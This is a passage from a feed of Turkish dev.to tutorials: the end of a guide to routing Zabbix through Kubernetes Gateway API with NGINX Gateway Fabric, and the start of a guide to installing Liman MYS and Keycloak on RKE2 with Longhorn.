        &lt;span class="na"&gt;namespaces&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;All&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;https&lt;/span&gt;
      &lt;span class="na"&gt;protocol&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;HTTPS&lt;/span&gt;
      &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;443&lt;/span&gt;
      &lt;span class="na"&gt;allowedRoutes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;namespaces&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;All&lt;/span&gt;
      &lt;span class="na"&gt;tls&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Terminate&lt;/span&gt;
        &lt;span class="na"&gt;certificateRefs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Secret&lt;/span&gt;
            &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cluster-tls-secret&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Önemli detay:&lt;/strong&gt; &lt;code&gt;allowedRoutes.namespaces.from: All&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Bu satır olmadan Gateway sadece kendi namespace'indeki route'ları kabul eder. &lt;code&gt;All&lt;/code&gt; yaparak tüm namespace'lerdeki servislerin bu gateway'i kullanmasına izin veriyoruz.&lt;/p&gt;
&lt;h3&gt;
  
  
  Adım 3: Zabbix için HTTPRoute
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;gateway.networking.k8s.io/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;HTTPRoute&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;zabbix-route&lt;/span&gt;
  &lt;span class="na"&gt;namespace&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;zabbix&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;parentRefs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cluster-gateway&lt;/span&gt;
      &lt;span class="na"&gt;namespace&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nginx-gateway&lt;/span&gt;
      &lt;span class="na"&gt;sectionName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cluster-gateway&lt;/span&gt;
      &lt;span class="na"&gt;namespace&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nginx-gateway&lt;/span&gt;
      &lt;span class="na"&gt;sectionName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;https&lt;/span&gt;
  &lt;span class="na"&gt;hostnames&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;zabbix"&lt;/span&gt;
  &lt;span class="na"&gt;rules&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;matches&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
            &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;PathPrefix&lt;/span&gt;
            &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/&lt;/span&gt;
      &lt;span class="na"&gt;backendRefs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;zabbix-zabbix-web&lt;/span&gt;
          &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Dikkat edilmesi gerekenler:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cross-namespace referans:&lt;/strong&gt; HTTPRoute &lt;code&gt;zabbix&lt;/code&gt; namespace'inde ama &lt;code&gt;nginx-gateway&lt;/code&gt; namespace'indeki gateway'e bağlanıyor.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;parentRefs:&lt;/strong&gt; Hem HTTP hem HTTPS listener'a bağlandık. Böylece her iki protokol de çalışıyor.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;sectionName:&lt;/strong&gt; Gateway'deki hangi listener'a bağlanacağımızı belirtiyoruz.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;hostnames:&lt;/strong&gt; Browser'da &lt;code&gt;http://zabbix&lt;/code&gt; yazınca bu route devreye girecek.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
  
  
  Deployment
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. NGINX Gateway Fabric kur&lt;/span&gt;
kubectl apply &lt;span class="nt"&gt;-f&lt;/span&gt; https://github.com/kubernetes-sigs/gateway-api/releases/download/v1.1.0/standard-install.yaml
kubectl apply &lt;span class="nt"&gt;-f&lt;/span&gt; https://raw.githubusercontent.com/nginxinc/nginx-gateway-fabric/v1.5.0/deploy/default/deploy.yaml

&lt;span class="c"&gt;# 2. Gateway controller'ı yapılandır&lt;/span&gt;
kubectl patch deployment nginx-gateway &lt;span class="nt"&gt;-n&lt;/span&gt; nginx-gateway &lt;span class="nt"&gt;--type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'[{"op": "replace", "path": "/spec/template/spec/containers/0/args/2", "value": "--gatewayclass=cluster-gateway-class"}]'&lt;/span&gt;

&lt;span class="c"&gt;# 3. Gateway infrastructure'ı deploy et&lt;/span&gt;
kubectl apply &lt;span class="nt"&gt;-f&lt;/span&gt; gatewayclass.yaml
kubectl apply &lt;span class="nt"&gt;-f&lt;/span&gt; gateway.yaml

&lt;span class="c"&gt;# 4. Zabbix HTTPRoute'u deploy et&lt;/span&gt;
kubectl apply &lt;span class="nt"&gt;-f&lt;/span&gt; zabbix-httproute.yaml

&lt;span class="c"&gt;# 5. Kontrol et&lt;/span&gt;
kubectl get gateway &lt;span class="nt"&gt;-A&lt;/span&gt;
kubectl get httproute &lt;span class="nt"&gt;-A&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Sık Karşılaşılan Sorunlar ve Çözümleri
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Problem 1:&lt;/strong&gt; HTTPRoute "Not Allowed by Listeners" hatası&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Çözüm:&lt;/strong&gt; Gateway'de &lt;code&gt;allowedRoutes.namespaces.from: All&lt;/code&gt; ekleyin.&lt;/p&gt;



&lt;p&gt;&lt;strong&gt;Problem 2:&lt;/strong&gt; Gateway EXTERNAL-IP pending kalıyor&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Çözüm:&lt;/strong&gt; On-premise kurulumda MetalLB kullanın veya manuel IP atayın: (Bu komut, MetalLB gibi bir LoadBalancer servisi olmayan Lab/Test ortamlarında manuel IP atamak içindir. Production ortamında Cloud Provider veya MetalLB bu IP'yi otomatik verir.)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl patch svc nginx-gateway &lt;span class="nt"&gt;-n&lt;/span&gt; nginx-gateway &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'{"spec":{"externalIPs":["10.67.67.217"]}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;strong&gt;Problem 3:&lt;/strong&gt; Backend HTTPS çalışmıyor&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Çözüm:&lt;/strong&gt; NGINX Gateway Fabric, backend TLS konusunda çok katı standartlara sahip. Self-signed sertifikalarla uğraşmak yerine, SSL Offloading (Termination) yapıp arkada HTTP kullanmak şu an için en stabil ve hızlı yöntem.&lt;/p&gt;

&lt;h2&gt;
  
  
  Önemli Trickler ve Best Practices
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Gateway Namespace Seçimi
&lt;/h3&gt;

&lt;p&gt;Gateway'i infrastructure namespace'ine (&lt;code&gt;nginx-gateway&lt;/code&gt;) koyun, uygulama namespace'ine değil. Böylece:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Merkezi yönetim sağlanır&lt;/li&gt;
&lt;li&gt;Uygulama namespace'leri silinse bile gateway ayakta kalır&lt;/li&gt;
&lt;li&gt;Rol ayrımı net olur&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Gateway İsimlendirme
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;zabbix-gateway&lt;/code&gt; gibi servise özel isim yerine &lt;code&gt;cluster-gateway&lt;/code&gt; gibi neutral isim kullanın. Gateway tüm cluster'a hizmet ediyor.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. LoadBalancer External IP
&lt;/h3&gt;

&lt;p&gt;Cloud sağlayıcı kullanmıyorsanız:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl patch svc nginx-gateway &lt;span class="nt"&gt;-n&lt;/span&gt; nginx-gateway &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'{"spec":{"externalIPs":["YOUR_IP"]}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4. Multiple Listeners
&lt;/h3&gt;

&lt;p&gt;Hem HTTP hem HTTPS için ayrı listener tanımlayın:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;listeners&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http&lt;/span&gt;
    &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;80&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;https&lt;/span&gt;
    &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;443&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;HTTPRoute her ikisine de bağlanabilir:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;parentRefs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cluster-gateway&lt;/span&gt;
    &lt;span class="na"&gt;sectionName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cluster-gateway&lt;/span&gt;
    &lt;span class="na"&gt;sectionName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;https&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5. Debugging
&lt;/h3&gt;

&lt;p&gt;Gateway durumunu kontrol etmek için:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Gateway programmed mı?&lt;/span&gt;
kubectl get gateway &lt;span class="nt"&gt;-n&lt;/span&gt; nginx-gateway

&lt;span class="c"&gt;# Route accepted mı?&lt;/span&gt;
kubectl describe httproute zabbix-route &lt;span class="nt"&gt;-n&lt;/span&gt; zabbix

&lt;span class="c"&gt;# NGINX Gateway Fabric logları&lt;/span&gt;
kubectl logs &lt;span class="nt"&gt;-n&lt;/span&gt; nginx-gateway deployment/nginx-gateway &lt;span class="nt"&gt;-f&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Gateway API vs Ingress: Özet Karşılaştırma
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Özellik&lt;/th&gt;
&lt;th&gt;Ingress&lt;/th&gt;
&lt;th&gt;Gateway API&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Modüler yapı&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rol ayrımı&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Advanced routing&lt;/td&gt;
&lt;td&gt;Sınırlı&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Multiple protocols&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor-neutral&lt;/td&gt;
&lt;td&gt;Kısmen&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Production-ready&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅ (v1.0+)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Kubectl Alias'ları (Bonus)
&lt;/h2&gt;

&lt;p&gt;Gateway API ile çalışırken işinizi kolaylaştıracak alias'lar:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ~/.bash_aliases dosyasına ekleyin&lt;/span&gt;
&lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;kgg&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'kubectl get gateway'&lt;/span&gt;
&lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;kgh&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'kubectl get httproute'&lt;/span&gt;
&lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;kgc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'kubectl get gatewayclass'&lt;/span&gt;
&lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;kdg&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'kubectl describe gateway'&lt;/span&gt;
&lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;kdh&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'kubectl describe httproute'&lt;/span&gt;
&lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;kdc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'kubectl describe gatewayclass'&lt;/span&gt;

&lt;span class="c"&gt;# Hepsini görmek için&lt;/span&gt;
&lt;span class="nb"&gt;alias &lt;/span&gt;kgg-all&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'kubectl get gateway -A'&lt;/span&gt;
&lt;span class="nb"&gt;alias &lt;/span&gt;kgh-all&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'kubectl get httproute -A'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Kullanım:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kgg &lt;span class="nt"&gt;-n&lt;/span&gt; nginx-gateway        &lt;span class="c"&gt;# Gateway'leri listele&lt;/span&gt;
kgh-all                     &lt;span class="c"&gt;# Tüm HTTPRoute'ları göster&lt;/span&gt;
kdh zabbix-route &lt;span class="nt"&gt;-n&lt;/span&gt; zabbix  &lt;span class="c"&gt;# Route detaylarını göster&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Sonuç
&lt;/h2&gt;

&lt;p&gt;Gateway API, Kubernetes routing'in geleceği. 2026'da NGINX Ingress'in güncelleme almaması ile birlikte Gateway API'ye geçiş kaçınılmaz hale geliyor.&lt;/p&gt;

&lt;p&gt;Modüler yapısı sayesinde:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cluster admin'ler altyapıyı yönetiyor&lt;/li&gt;
&lt;li&gt;Geliştiriciler sadece kendi route'larını düşünüyor&lt;/li&gt;
&lt;li&gt;Farklı namespace'ler izole çalışıyor&lt;/li&gt;
&lt;li&gt;Controller değiştirmek kolay&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Eğer yeni bir proje başlıyorsanız veya mevcut Ingress yapınızı modernize etmek istiyorsanız, Gateway API doğru seçim.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Önemli Not:&lt;/strong&gt; Bu yazıda kullanılan yapı production-ready. Ancak backend HTTPS gibi bazı özellikler NGINX Gateway Fabric v1.5.0'da henüz tam desteklenmiyor. Bu özellikler 2025 Q3-Q4'te gelecek güncellemelerle eklenecek.&lt;/p&gt;




&lt;h2&gt;
  
  
  Kaynaklar
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gateway-api.sigs.k8s.io/" rel="noopener noreferrer"&gt;Kubernetes Gateway API Docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/nginxinc/nginx-gateway-fabric" rel="noopener noreferrer"&gt;NGINX Gateway Fabric GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/kubernetes-sigs/gateway-api/releases/tag/v1.1.0" rel="noopener noreferrer"&gt;Gateway API v1.1.0 Release&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nginx.com/blog/" rel="noopener noreferrer"&gt;NGINX Ingress Deprecation Announcement&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Bu makale, gerçek bir production deployment deneyimine dayanarak yazılmıştır. Zabbix monitoring sistemi üzerinde test edilmiş ve çalışır durumda olan yapılandırmalar kullanılmıştır.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>apigateway</category>
      <category>devops</category>
      <category>nginx</category>
    </item>
    <item>
      <title>RKE2'de Liman MYS &amp; Keycloak Kurulumu: Longhorn ve Docker Hub Hata Çözümleri Dahil Tam Rehber</title>
      <dc:creator>Yunus Emre Dere</dc:creator>
      <pubDate>Fri, 24 Oct 2025 10:37:05 +0000</pubDate>
      <link>https://dev.to/aciklab/rke2de-liman-mys-keycloak-kurulumu-longhorn-ve-docker-hub-hata-cozumleri-dahil-tam-rehber-4nfe</link>
      <guid>https://dev.to/aciklab/rke2de-liman-mys-keycloak-kurulumu-longhorn-ve-docker-hub-hata-cozumleri-dahil-tam-rehber-4nfe</guid>
      <description>&lt;p&gt;&lt;strong&gt;Kubernetes (K8s)&lt;/strong&gt; dünyasında, Liman MYS gibi, envanter yönetiminden servis takibine kadar pek çok işlevi eklentilerle yürüten platformlar kullanırız. Bu farklı bileşenler ve yetkiler için merkezi bir kimlik doğrulama (Authentication) yönetimi hızla karmaşıklaşabilir. İşte bu noktada Keycloak devreye giriyor.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F47l4orgyf8qw8i1bp7kh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F47l4orgyf8qw8i1bp7kh.png" alt=" " width="800" height="401"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Bu rehberde, RKE2 (hafifletilmiş bir K8s dağıtımı) üzerinde Liman MYS ve Keycloak'u sıfırdan kuracak, bu iki güçlü sistemi birbirine bağlayacak (SSO) ve bu süreçte kesinlikle karşılaşacağınız en yaygın iki hatayı (Longhorn Pending ve Docker Hub TooManyRequests) adım adım çözeceğiz.&lt;/p&gt;

&lt;h2&gt;
  
  
  Faz 1: Gerekli Altyapı (Bizim "Sandbox" Ortamımız)
&lt;/h2&gt;

&lt;p&gt;Başlamadan önce, RKE2 sunucumuzun uygulamaları barındırmaya hazır olması gerekir.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;code&gt;RKE2&lt;/code&gt;: Zaten kurulu olduğunu varsayıyoruz.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Helm&lt;/code&gt;: Kubernetes için bir paket yöneticisidir.&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;snap &lt;span class="nb"&gt;install &lt;/span&gt;helm &lt;span class="nt"&gt;--classic&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;StorageClass (Longhorn)&lt;/code&gt;: Liman ve Keycloak'un veritabanları gibi 'stateful' (durum bilgisi tutan) uygulamaları, verilerini kalıcı olarak saklamak zorundadır. Bunun için bir &lt;code&gt;StorageClass (Depolama Sınıfı)&lt;/code&gt; sağlayıcısına ihtiyacımız var. Biz burada popüler ve RKE2 ile uyumlu olan &lt;code&gt;Longhorn&lt;/code&gt;'u kullanacağız.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhbc8qm0p33wvof3buav3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhbc8qm0p33wvof3buav3.png" alt=" " width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Aşağıdaki kod Longhorn'u ve onun 'longhorn' adlı StorageClass'ını kurar&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl apply &lt;span class="nt"&gt;-f&lt;/span&gt; https://raw.githubusercontent.com/longhorn/longhorn/v1.9.0/deploy/longhorn.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Longhorn'un longhorn-system namespace'inde kurulup pod'larının Running duruma gelmesini bekleyin.&lt;/p&gt;

&lt;h2&gt;
  
  
  Faz 2: Keycloak Kurulumu ve Erişimi
&lt;/h2&gt;

&lt;p&gt;Artık altyapımız hazır olduğuna göre, kimlik sunucumuz olan Keycloak'u kuralım.&lt;/p&gt;

&lt;h3&gt;
  
  
  Adım 1: Keycloak'u Kurma
&lt;/h3&gt;

&lt;p&gt;Topluluk tarafından sağlanan resmi YAML dosyası, hem Keycloak'u (bir StatefulSet olarak) hem de veritabanı için bir PostgreSQL'i (bir Deployment olarak) kurar.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl apply &lt;span class="nt"&gt;-f&lt;/span&gt; https://raw.githubusercontent.com/keycloak/keycloak-quickstarts/refs/heads/main/kubernetes/keycloak.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Adım 2: Pod Kontrolü
&lt;/h3&gt;

&lt;p&gt;Kurulumun tamamlandığını görmek için pod'ları kontrol edin.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl get pods
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;NAME                       READY   STATUS    RESTARTS   AGE
keycloak-0                 1/1     Running   0          39h
keycloak-1                 1/1     Running   0          39h
postgres-65cf55dbf-nv5kx   1/1     Running   0          40h
redis-58f44d957b-6gzmw     1/1     Running   0          24h
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pod'ların Running durumuna geçmesi, Docker Hub limitlerine takılmazsanız birkaç dakika sürebilir. (Eğer ErrImagePull hatası alırsanız, Faz 4'teki çözüme atlayın).&lt;/p&gt;

&lt;h3&gt;
  
  
  Adım 3: Keycloak Ingress Yapılandırması
&lt;/h3&gt;

&lt;p&gt;Keycloak'a tarayıcıdan temiz bir adresle (keycloak.test.local gibi) erişmek için bir Ingress oluşturacağız.&lt;/p&gt;

&lt;p&gt;Önce, Keycloak servisinin hangi portu kullandığını öğrenelim:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl get svc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
